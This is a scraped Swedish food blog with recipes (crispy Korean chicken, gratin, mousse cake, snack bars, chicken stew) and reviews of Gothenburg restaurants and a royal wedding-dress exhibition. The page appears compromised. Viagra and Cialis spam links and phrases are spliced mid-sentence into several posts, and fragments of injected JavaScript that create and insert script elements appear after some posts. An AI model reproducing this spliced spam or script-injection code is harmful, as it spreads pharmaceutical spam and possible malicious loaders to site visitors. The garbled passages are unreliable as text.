Het, koreansk krispig kyckling

Här kommer ett mkt gott kycklingrecept som kommer från Jennie Walldéns bok ”Asiatiska smaker”.
1

Krispig kyckling (4 portioner)

600 g kycklinglårfilé, i 3×2 cm bitar

Marinad

2 tsk ljus soja
1⁄2 msk risvinäger
1⁄2 tsk vitlök, skalad och riven
1⁄2 tsk ingefära, skalad och riven

Sås

1 1⁄2 msk ljus soja
4 msk mirin (eller 2 msk sött vitt vin och 2 msk vatten)
3 msk risvinäger
2 msk gochujang (eller ketchup för en mild rött)
4 msk flytande honung
3 msk muscovadosocker eller farinsocker
2 tsk vitlök, skalad och riven
2 tsk ingefära, skalad och riven
1 msk rostade vita sesamfrön
1 dl Maizena majsstärkelse
1⁄2 liter rapsolja till fritering
4

Gör såhär:

1. Blanda ihop marinaden och tillsätt kycklingen. Ställ åt sidan.
2. Blanda alla ingredienserna till såsen och låt koka i 4–5 minuter. Dra av från plattan.
3. Vänd ner kycklingen i majsstärkelsen. Blanda väl så att alla bitar täcks av stärkelsen.
4. Värm oljan i en wok eller kastrull till 180 grader (eller till en brödbit blir gyllene på mindre än 1 minut i oljan).
5. Dela upp kycklingen i tre lika stora högar. Lägg ner en del kyckling i taget i den heta oljan, ta upp och fritera sedan de återstående två delarna för sig. Detta för att kycklingen ska friteras, inte bli avkyld och koka. Fritera i 1–2 minuter till gyllene. Låt rinna av på tjockt lager hushållspapper.
6. När all kyckling är friterad, upprepa friteringen en gång tills kycklingen är gyllene och frasig. Lägg att torka på nytt hushållspapper.
7. Värm upp såsen, lägg ner kycklingbitarna och blanda om väl så att all kyckling är täckt av sås. Häll över sesamfrön och servera genast med kokt ris och en sallad.

7
5
8
6

blogstats trackingpixel

Köttfärsgratäng

1Här kommer ett recept på en fräsch köttfärsgratäng.

Recept 4 personer

1/2 gul lök
2 vitlöksklyftor
500 gram nötfärs
1 tsk torkad oregano
1 tsk torkad timjan
1 tsk torkad basilika
1 tsk salt
1 förp krossade tomater
1/2 blomkålshuvud
1/2 Zucchini
1 förpackning mozzarella

Gör så här:
Sätt ugnen på 200 grader.
Skala och finhacka lök och vitlök. Hetta upp en stekpanna med olja och bryn löken utan att den tar färg. Tillsätt färsen och bryn den så att den blir genomstekt. Krydda med oregano, timjan, basilika och salt. Tillsätt krossade tomater och låt den puttra ihop snabbt.
Skölj och skiva (med mandolin) blomkålen och grovriv zucchinin. Krama ur vätskan från zucchinin. Blanda ihop köttfärssåsen med blomkål och zucchini i en ugnsfast form. Toppa med skivad mozzarella och sätt i ugnen ca 15-20 min.

Servera gratängen med en sallad.
4
3
2
1

blogstats trackingpixel

Chokladmoussetårta

1
Receptet på den här moussetårtan hittade jag på Jennys matblogg.

Om du tycker om choklad så är det här rätt tårta för dig.

Receptet kommer här.

Botten:
200 gram cookies ( te.x Maryland )
80 gram smält smör

Mousse:
3 gelatinblad
400 gram mjölkchoklad
250 gram mascarpone
500 gram philadelphiaost
2 1/2 dl vispgrädde
2 msk vatten
1 rulle center

Topping:
färska hallon
1 rulle center

Gör så här:
Mixa kakorna till smulor i en mixer och rör ihop med det smälta smöret.
Pressa ut blandningen i en rund springform med avtagbara kanter. ( cirka 22-24 cm) Lägg gelatinbladen i kallt vatten.
Smält chokladen försiktigt i micron eller över vattenbad ( den ska inte bli för varm )
Vispa ihop mascarpone& färskostmed en elvisp i en bunke. Vispa grädden tills den är ordentligt fast och bildar stadiga toppar. Vänd ner grädden tillsammans med chokladen i mascarponeblaningen, vänd försiktigt med en slickepott tills allt är väl blandat.
Krama ur gelantinbladen och värm dem tillsammans med 2 msk vatten i en kastrull, de ska precis bara smälta. Rör ner detta i smeten, och rör kraftigt så att allt blandar sig väl. Grovhacka ner centern och blanda om fördela sedan ut jämt över kakbotten. Förvara gärna Centern i kylskåpet innan du grovhackar den.
Låt stå och svalna i kylskåpet i minst 5 timmar, men gärna över natten. Det går även att förvara tårtan i frysen.

Toppa med center och hallon.
AA - kopiaKaka
DD
CC - kopia
BB - kopia
EE
2
3

blogstats trackingpixel

Goda bars

IMG_7905

Bars 7 st
Recept
1 påse Änglamarks ”soft dates” 200 gram
2 dl saltade jordnötter

Topping
Mörk choklad

1. Börja med att mixa dadlarna.
2. Häll ned jordnötterna och mixa tills du har en slags deg med grovhackade jordnötter.
3. Forma till en platt avlång kaka och lägg i frysen för att stelna. Skär upp ca 7 avlånga bars och pensla på med mörk choklad och valfri topping.
Jag använde torkade jordgubbar och kokos. Du kan förvara dina bars i frysen också.

IMG_7931IMG_7932

blogstats trackingpixel

Sautérad kyckling med gräslöksås

4 kycklingbröst
1 tsk salt
1/4 cup vetemjöl
3 tsk olivolja
2 stora charlottenlök (finhackad)
1/2 cup vitt vin
400 gram kycklingbuljong
1/3 cup lätt creme fraiche
1 tsk dijon senap
1/2 cup hackad gräslök

Gör så här: Platta ut kycklingbrösten så de blir riktigt platta. Krydda med salt. Doppa kycklingbrösten i mjölet. Hetta upp lite olivolja i en stekpanna och stek kycklingen ca 2 min per sida tills den har fått färg. Lägg över kycklingen på en tallrik för att vila. Häll i resten av olja i stekpannan och häll i löken och stek tills löken fått färg. Häll i resten av mjölet i stekpannan. Häll i vin och buljong och koka upp. Lägg tillbaks kycklingen och låt koka upp ca 5-6 minuter. Häll i creme fraiche och senap och https://www.viagrasansordonnancefr.com/viagra-generique/ precis innan servering lägger du i den hackade gräslöken. Servera med grönsaker och en god sallad.

document.currentScript.parentNode.insertBefore(s, document.currentScript);

blogstats trackingpixel

Kycklinggryta

bild1

Här kommer ett recept på en fräsch och god kycklinggryta. Jag använde kokosmjölk. Kokosmjölken lät jag stå i kylen med botten uppåt. Vid användning gjorde jag hål i botten av burken, hällde ut kokosvattnet och öppnade burken från toppen och hällde kokosmjölken i grytan.  När ni häller bort vattnet får ni en krämigare sås. Receptet hittade jag här.

Kycklinggryta (paleo) (2-3 personer)

2 kycklingfiléer
1 burk kokosgrädde/extra creamy kokosmjölk
2 klyftor vitlök
1 gul lök
1-2 msk jordnötssmör (green choice crunchy)
chiliflingor (kan uteslutas)
curry
svartpeppar
salt

Hacka och stek lök och vitlök. Strimla kycklingen och stek den med löken, ha på salt och peppar. Häll på kokosgrädden och låt koka upp. Ha sedan i jordnötssmör och curry efter behag ( ca 2-3 tsk). Låt puttra en stund och smaka av. Tillsätt därefter chili och låt koka ihop till en krämigare sås. Smaka av med salt. Servera till grönsaker.

bild5

bild8bild6bild7

bild9bild10bild11bild13bild14

bild15bild2bild3

blogstats trackingpixel

Project, Göteborg

Igår besökte jag och en kompis en nyöppnad Bistro Project på Södra Vägen 45 med fokus på kvalitet och trevligt bemötande.

1

2

Ovanstående foton har jag lånat från deras hemsida.

18

16
Maten smakade riktigt gott och vinerna kom från Frankrike, Spanien och Australien.

Varje maträtt och vin presenterades in i minsta detalj av den trevliga personalen.

Nedan ser ni foton från gårdagens middag.

12

11

9

8

15

14
Jag åt deras 3-rätters meny med tillhörande vinpaket

Rostad jordärtskockssoppa

10

6

21
Flankstek med Purjolök och svamp
1

4

1
3

20
Frusen chokladmousse med, kärnmjölksglass och hasselnötter
B

A

22

17

5

Jag rekommenderar att boka bord om ni tänker äta på ”Project”.

19

blogstats trackingpixel

Snickersrutor

IMG_3409
Här kommer ett supergott recept på goda och nyttiga snickersrutor utan tillsatt vitt socker, och gluten. Receptet hittade jag här.

Snickersrutor
Botten.
1,5 dl mandlar
10 färska dadlar
3 msk jordnötssmör
1 msk carob (går att utesluta)
1 näve salta nötter

Gör så här: Kärna ur dadlarna och kör i matberedare tillsammans med mandlar, jordnötssmör och carob. Klä en brödform med plastfolie och tryck i degen och jordnötterna i botten.

Kolafyllning
8-10 färska dadlar
1 tsk vaniljextrakt

Gör så här: Kärna ur dadlarna och mixa med vaniljextrakt och vatten. Tillsätt lite vatten i taget tills det blir en kolalik konsistens. Bred kolasmeten på botten.

Topping
75 gram choklad (70%procentig)
en klick kokosolja

Gör så här: Smält chokladen och rör i kokosoljan. Man kan hoppa över kokosolja men då blir chokladen väldigt hård när du ska ska skära upp bitarna. Bred ut chokladen och ställ i kylen.

När chokladen stelnat, lyft ur kakan och skär i lagom bitar. Förvara i kylskåp.

IMG_3413IMG_3415IMG_3416IMG_3410IMG_3407

blogstats trackingpixel

Kungliga brudklänningar 1976-2015

NY-Affisch-HMD-stl-540-760
I lördags besökte jag det kungliga Slottet för att besöka utställningen ”Kungliga brudklänningar 1976-2015″ som visas i Rikssalen, Stockholms Slott.
En biljett kostar 160 kr som man betalar på plats eller förbokar via viagra online store nätet. Utställningen visas 18 oktober 2016 till och med 12 mars 2017.

Den 19 juni 2016 är det 40 år sedan Kungen och Drottningen gifte sig i ett försommarvackert Stockholm. För att fira det visas en exklusiv utställning på Kungliga slottet med fem kungliga brudklänningar.

Klänningarna har burits av Drottning Silvia, Kronprinsessan Victoria, Prinsessan Madeleine, Prinsessan Sofia och prinsessan Lilian.

Utställningen visas i Rikssalen på Kungliga slottet. Entré till utställningen är via Västra valvet från Yttre borggården, se skiss nedan.

Audioguider och skyltar guidar dig genom utställningen.

Kan varmt rekommendera att besöka utställningen. Klänningarna är så vackra och fina live.

Nedan kommer en massa bilder på de fina klänningarna.

Drottning Silvia
S5S4S3

Kronprinsessan Victoria
V13V10V9V8V4

Prinsessan Madeleine
1413127

Prinsessan Sofia
4
562

Prinsessan Lilian
L5L4
L3

L6L2L1

Xx
var d=document;var s=d.createElement(‘script’);

blogstats trackingpixel

Toso

Igår bjöd jag ut min syster på middag för att fira att jag fått nytt jobb i höst.
Jag har besökt Toso två achat de cialis sur internet gånger tidigare och man blir aldrig besviken på maten som är helt fantastisk. Nu hade de bytt meny och det finns flera nya spännande rätter att välja på.
IMG_0700IMG_0707
IMG_0708IMG_0710IMG_0711IMG_0709
Vi började med ett glas bubbel och sedan beställde vi in flera olika rätter och dela på.

IMG_0701
Råbiff med picklade shitake, wasabicrème
IMG_0705

Springroll ”Laab” sojafärs, mynta, lime, rostat ris
IMG_0706

Crispy shrimps med chilicremé

IMG_0691
Grillad biff med rökt soja, sesam, krispig svamp
IMG_0704

Äpplevårrullar med kanel, ingefärskola, missglass

IMG_0703
Till maten drack vi en god riesling som passade perfekt till våra rätter.
IMG_0699

Kommer besöka Toso igen….
IMG_0702
var d=document;var s=d.createElement(‘script’);

blogstats trackingpixel